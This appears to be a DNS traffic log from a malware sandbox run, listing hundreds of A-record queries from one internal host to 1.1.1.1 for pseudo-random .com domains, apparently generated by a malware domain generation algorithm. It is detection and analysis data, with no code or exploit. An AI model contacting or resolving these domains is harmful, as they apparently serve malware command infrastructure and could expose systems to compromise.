                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658199072 CET192.168.2.41.1.1.10x2417Standard query (0)ganyzas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658620119 CET192.168.2.41.1.1.10x2b72Standard query (0)purypyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658719063 CET192.168.2.41.1.1.10x6983Standard query (0)vopydum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.658813953 CET192.168.2.41.1.1.10x1176Standard query (0)vowypek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.659147978 CET192.168.2.41.1.1.10xb5d3Standard query (0)vopycyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.663419962 CET192.168.2.41.1.1.10x3c40Standard query (0)qedyvuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.663948059 CET192.168.2.41.1.1.10x8e43Standard query (0)puzyjyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.665100098 CET192.168.2.41.1.1.10xd7a9Standard query (0)vofybic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.665299892 CET192.168.2.41.1.1.10x4213Standard query (0)qexykug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668123960 CET192.168.2.41.1.1.10x7899Standard query (0)lykymyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668220997 CET192.168.2.41.1.1.10xbe5fStandard query (0)vojymet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668448925 CET192.168.2.41.1.1.10xd8faStandard query (0)lyrysyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668571949 CET192.168.2.41.1.1.10x412cStandard query (0)lysyvud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.668792009 CET192.168.2.41.1.1.10x4068Standard query (0)vocykif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.669555902 CET192.168.2.41.1.1.10x1f25Standard query (0)ganyriz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.669730902 CET192.168.2.41.1.1.10xb43cStandard query (0)pupydig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.670278072 CET192.168.2.41.1.1.10xa997Standard query (0)pumytol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.671431065 CET192.168.2.41.1.1.10x2757Standard query (0)pujygaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.671912909 CET192.168.2.41.1.1.10xfbbaStandard query (0)lyvywux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.672441959 CET192.168.2.41.1.1.10xfc28Standard query (0)qekyheq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.673223972 CET192.168.2.41.1.1.10x9905Standard query (0)vojygok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.673612118 CET192.168.2.41.1.1.10xd9dStandard query (0)lyxyjun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:41.674325943 CET192.168.2.41.1.1.10xea59Standard query (0)lyryxen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.148561001 CET192.168.2.41.1.1.10x3c5fStandard query (0)vonykuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.149755955 CET192.168.2.41.1.1.10x228Standard query (0)qekynog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.149755955 CET192.168.2.41.1.1.10xe90eStandard query (0)pupypep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.149890900 CET192.168.2.41.1.1.10xd2f0Standard query (0)pumyliq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.154648066 CET192.168.2.41.1.1.10x8a9Standard query (0)qebykul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.157099009 CET192.168.2.41.1.1.10x2244Standard query (0)pujybig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.157749891 CET192.168.2.41.1.1.10x9eb0Standard query (0)qedysyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.157867908 CET192.168.2.41.1.1.10x2a89Standard query (0)galynab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.159359932 CET192.168.2.41.1.1.10xe1e5Standard query (0)volymaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.159359932 CET192.168.2.41.1.1.10xdc2fStandard query (0)vopypec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.160463095 CET192.168.2.41.1.1.10x7c66Standard query (0)gahyvuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.161304951 CET192.168.2.41.1.1.10x5a24Standard query (0)lyrytod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162522078 CET192.168.2.41.1.1.10xb742Standard query (0)vojybim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162522078 CET192.168.2.41.1.1.10x37a5Standard query (0)puvyjyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162753105 CET192.168.2.41.1.1.10x5261Standard query (0)lyvyjyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.162954092 CET192.168.2.41.1.1.10x826Standard query (0)vocyjet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.163680077 CET192.168.2.41.1.1.10x26ceStandard query (0)lysysyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.163845062 CET192.168.2.41.1.1.10xf23bStandard query (0)gatypas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.164347887 CET192.168.2.41.1.1.10x3db6Standard query (0)ganykuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.164423943 CET192.168.2.41.1.1.10x9f4Standard query (0)lykynon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.165452957 CET192.168.2.41.1.1.10xfc76Standard query (0)qetytav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.167587042 CET192.168.2.41.1.1.10x7d09Standard query (0)gaqykus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.173579931 CET192.168.2.41.1.1.10x3684Standard query (0)pufypeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.181180954 CET192.168.2.41.1.1.10x9775Standard query (0)qexynol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.183908939 CET192.168.2.41.1.1.10xc231Standard query (0)vowykuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.187874079 CET192.168.2.41.1.1.10x38b9Standard query (0)purylup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.188277960 CET192.168.2.41.1.1.10x59e6Standard query (0)qegysyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.188277960 CET192.168.2.41.1.1.10x5716Standard query (0)gacynow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.199450970 CET192.168.2.41.1.1.10xb944Standard query (0)vocymak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.200304031 CET192.168.2.41.1.1.10xc6ecStandard query (0)lygysen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.260373116 CET192.168.2.41.1.1.10xd2d9Standard query (0)lyrylix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.296416998 CET192.168.2.41.1.1.10x8129Standard query (0)pupyxal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.305794954 CET192.168.2.41.1.1.10xbb6cStandard query (0)puzygop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.305794954 CET192.168.2.41.1.1.10x26a1Standard query (0)vonyqym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306153059 CET192.168.2.41.1.1.10x1293Standard query (0)qebyqeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306153059 CET192.168.2.41.1.1.10xcf42Standard query (0)pumywug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306855917 CET192.168.2.41.1.1.10xbb3Standard query (0)qekyfiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.306855917 CET192.168.2.41.1.1.10x90baStandard query (0)gahydyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307171106 CET192.168.2.41.1.1.10x1894Standard query (0)ganyqyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307171106 CET192.168.2.41.1.1.10x9444Standard query (0)pujyduv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307481050 CET192.168.2.41.1.1.10xbeb5Standard query (0)gatyzoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.307481050 CET192.168.2.41.1.1.10xcf35Standard query (0)vopyzot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.308574915 CET192.168.2.41.1.1.10xaf8cStandard query (0)vojyduf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.308667898 CET192.168.2.41.1.1.10xe0a5Standard query (0)qedyxel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.308981895 CET192.168.2.41.1.1.10xdd8Standard query (0)lykyfud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.309767962 CET192.168.2.41.1.1.10x1ef0Standard query (0)gaqyrib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.309767962 CET192.168.2.41.1.1.10x6f9dStandard query (0)puvymaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.310179949 CET192.168.2.41.1.1.10x3f9eStandard query (0)qeqyrug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.310717106 CET192.168.2.41.1.1.10xd6f3Standard query (0)lyvymej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.310784101 CET192.168.2.41.1.1.10x96d3Standard query (0)lymywun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.311846018 CET192.168.2.41.1.1.10x2afcStandard query (0)lysyxar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.315866947 CET192.168.2.41.1.1.10x9989Standard query (0)galyfis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.316152096 CET192.168.2.41.1.1.10xf02dStandard query (0)qegyvuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.320540905 CET192.168.2.41.1.1.10x8c42Standard query (0)purytov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.321782112 CET192.168.2.41.1.1.10x3375Standard query (0)vofycyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.321782112 CET192.168.2.41.1.1.10xdd44Standard query (0)qexyhap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323621988 CET192.168.2.41.1.1.10x7df8Standard query (0)pufycyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323621988 CET192.168.2.41.1.1.10x8f96Standard query (0)lygyvuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323765039 CET192.168.2.41.1.1.10x5945Standard query (0)gacyhez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.323945045 CET192.168.2.41.1.1.10x15a8Standard query (0)vowyrif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.324089050 CET192.168.2.41.1.1.10x8994Standard query (0)volygoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.324925900 CET192.168.2.41.1.1.10xe7e5Standard query (0)lyxygax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.326742887 CET192.168.2.41.1.1.10x6fb4Standard query (0)gadycew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:42.328702927 CET192.168.2.41.1.1.10x5baeStandard query (0)qetylip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.237385988 CET192.168.2.41.1.1.10x6eeeStandard query (0)qegytop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.239954948 CET192.168.2.41.1.1.10xe5ccStandard query (0)lyxynir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.245110989 CET192.168.2.41.1.1.10x2cffStandard query (0)qetykyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.245378971 CET192.168.2.41.1.1.10x71bcStandard query (0)puryjeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.247407913 CET192.168.2.41.1.1.10x4517Standard query (0)pujypal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.252142906 CET192.168.2.41.1.1.10x49f3Standard query (0)gatykyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.262860060 CET192.168.2.41.1.1.10xc8dcStandard query (0)lyvynid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.277240038 CET192.168.2.41.1.1.10x5db8Standard query (0)vonymoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.312124014 CET192.168.2.41.1.1.10x48e8Standard query (0)vofyzof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.312271118 CET192.168.2.41.1.1.10x7b47Standard query (0)lyrywur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.327104092 CET192.168.2.41.1.1.10x5abcStandard query (0)gaqyqez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.327672958 CET192.168.2.41.1.1.10x4173Standard query (0)vocygim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.328181982 CET192.168.2.41.1.1.10xd5afStandard query (0)qegyxav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.328370094 CET192.168.2.41.1.1.10x9b74Standard query (0)gadyzib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.329107046 CET192.168.2.41.1.1.10xfde6Standard query (0)lyryjej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340126038 CET192.168.2.41.1.1.10x63a6Standard query (0)purywyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340305090 CET192.168.2.41.1.1.10x97feStandard query (0)lygyxad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340951920 CET192.168.2.41.1.1.10x6399Standard query (0)vofypam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.340951920 CET192.168.2.41.1.1.10x386fStandard query (0)galydyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.341422081 CET192.168.2.41.1.1.10xe8b5Standard query (0)lykyser.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354388952 CET192.168.2.41.1.1.10x72dbStandard query (0)pupylug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354494095 CET192.168.2.41.1.1.10x2a45Standard query (0)qeqykyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354708910 CET192.168.2.41.1.1.10x6e99Standard query (0)lymyjyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354773045 CET192.168.2.41.1.1.10x694bStandard query (0)qedytoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.354907990 CET192.168.2.41.1.1.10x590dStandard query (0)qebyhag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355092049 CET192.168.2.41.1.1.10x10afStandard query (0)pupytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355370045 CET192.168.2.41.1.1.10xb609Standard query (0)lykyvyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355504036 CET192.168.2.41.1.1.10x3dbaStandard query (0)qetyrul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355690956 CET192.168.2.41.1.1.10xe6f8Standard query (0)puvybuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355797052 CET192.168.2.41.1.1.10x7c4cStandard query (0)lysylun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.355845928 CET192.168.2.41.1.1.10xeb54Standard query (0)ganyhab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356034994 CET192.168.2.41.1.1.10x6c33Standard query (0)qekyvup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356034994 CET192.168.2.41.1.1.10xa3f4Standard query (0)gacyfih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356182098 CET192.168.2.41.1.1.10x4317Standard query (0)vojypat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356338978 CET192.168.2.41.1.1.10xf53eStandard query (0)puzyduq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356456995 CET192.168.2.41.1.1.10x6c30Standard query (0)vowyqyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356509924 CET192.168.2.41.1.1.10xda05Standard query (0)gahypoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356678009 CET192.168.2.41.1.1.10x676cStandard query (0)gahyces.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356869936 CET192.168.2.41.1.1.10xed21Standard query (0)qeqyqep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.356966019 CET192.168.2.41.1.1.10xca30Standard query (0)qexyfuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357139111 CET192.168.2.41.1.1.10x1d48Standard query (0)pumymap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357182026 CET192.168.2.41.1.1.10x2c5bStandard query (0)volydyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357328892 CET192.168.2.41.1.1.10x7858Standard query (0)qekysel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357444048 CET192.168.2.41.1.1.10xd33fStandard query (0)pumyjev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357513905 CET192.168.2.41.1.1.10x712Standard query (0)qebyniv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357785940 CET192.168.2.41.1.1.10x8b2Standard query (0)lyvygon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.357800007 CET192.168.2.41.1.1.10xa47dStandard query (0)pujycyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.358176947 CET192.168.2.41.1.1.10x6247Standard query (0)vonyjef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.358196974 CET192.168.2.41.1.1.10xf732Standard query (0)gatyruw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.358403921 CET192.168.2.41.1.1.10x105dStandard query (0)puvygog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360245943 CET192.168.2.41.1.1.10x1a88Standard query (0)galyvuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360410929 CET192.168.2.41.1.1.10x937fStandard query (0)gadypah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360536098 CET192.168.2.41.1.1.10x4f51Standard query (0)volybut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360646009 CET192.168.2.41.1.1.10xa488Standard query (0)puzybil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360831022 CET192.168.2.41.1.1.10xb25fStandard query (0)ganynos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.360831022 CET192.168.2.41.1.1.10x452bStandard query (0)vopykum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361047029 CET192.168.2.41.1.1.10x64e7Standard query (0)lyxyfuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361085892 CET192.168.2.41.1.1.10x8678Standard query (0)qedylig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361249924 CET192.168.2.41.1.1.10xfe73Standard query (0)vocybuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361474991 CET192.168.2.41.1.1.10x69d4Standard query (0)lymymax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.361766100 CET192.168.2.41.1.1.10x7383Standard query (0)vopyrik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.362267971 CET192.168.2.41.1.1.10xfb8bStandard query (0)vojycec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.363571882 CET192.168.2.41.1.1.10x7d29Standard query (0)lysytoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:43.374916077 CET192.168.2.41.1.1.10x681bStandard query (0)pufyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.274106026 CET192.168.2.41.1.1.10xc8dcStandard query (0)lyvynid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.305351019 CET192.168.2.41.1.1.10x7b47Standard query (0)lyrywur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.305351019 CET192.168.2.41.1.1.10x48e8Standard query (0)vofyzof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.320952892 CET192.168.2.41.1.1.10xfde6Standard query (0)lyryjej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.320952892 CET192.168.2.41.1.1.10x9b74Standard query (0)gadyzib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.320952892 CET192.168.2.41.1.1.10xd5afStandard query (0)qegyxav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.321017027 CET192.168.2.41.1.1.10x4173Standard query (0)vocygim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.321017027 CET192.168.2.41.1.1.10x5abcStandard query (0)gaqyqez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336585045 CET192.168.2.41.1.1.10x6399Standard query (0)vofypam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336585045 CET192.168.2.41.1.1.10xe8b5Standard query (0)lykyser.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336585045 CET192.168.2.41.1.1.10x386fStandard query (0)galydyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336627960 CET192.168.2.41.1.1.10x97feStandard query (0)lygyxad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.336627960 CET192.168.2.41.1.1.10x63a6Standard query (0)purywyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352248907 CET192.168.2.41.1.1.10x2a45Standard query (0)qeqykyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352248907 CET192.168.2.41.1.1.10x7d29Standard query (0)lysytoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352330923 CET192.168.2.41.1.1.10xa47dStandard query (0)pujycyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352365017 CET192.168.2.41.1.1.10x7c4cStandard query (0)lysylun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352365017 CET192.168.2.41.1.1.10xd33fStandard query (0)pumyjev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352397919 CET192.168.2.41.1.1.10xb609Standard query (0)lykyvyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352397919 CET192.168.2.41.1.1.10x3dbaStandard query (0)qetyrul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352510929 CET192.168.2.41.1.1.10xfb8bStandard query (0)vojycec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352550983 CET192.168.2.41.1.1.10xa488Standard query (0)puzybil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352550983 CET192.168.2.41.1.1.10x937fStandard query (0)gadypah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352588892 CET192.168.2.41.1.1.10x1a88Standard query (0)galyvuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352588892 CET192.168.2.41.1.1.10xe6f8Standard query (0)puvybuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352642059 CET192.168.2.41.1.1.10x2c5bStandard query (0)volydyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352642059 CET192.168.2.41.1.1.10xca30Standard query (0)qexyfuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352677107 CET192.168.2.41.1.1.10xed21Standard query (0)qeqyqep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352677107 CET192.168.2.41.1.1.10x4f51Standard query (0)volybut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:44.352705956 CET192.168.2.41.1.1.10x676cStandard query (0)gahyces.comA (IP address)IN (0x0001)false
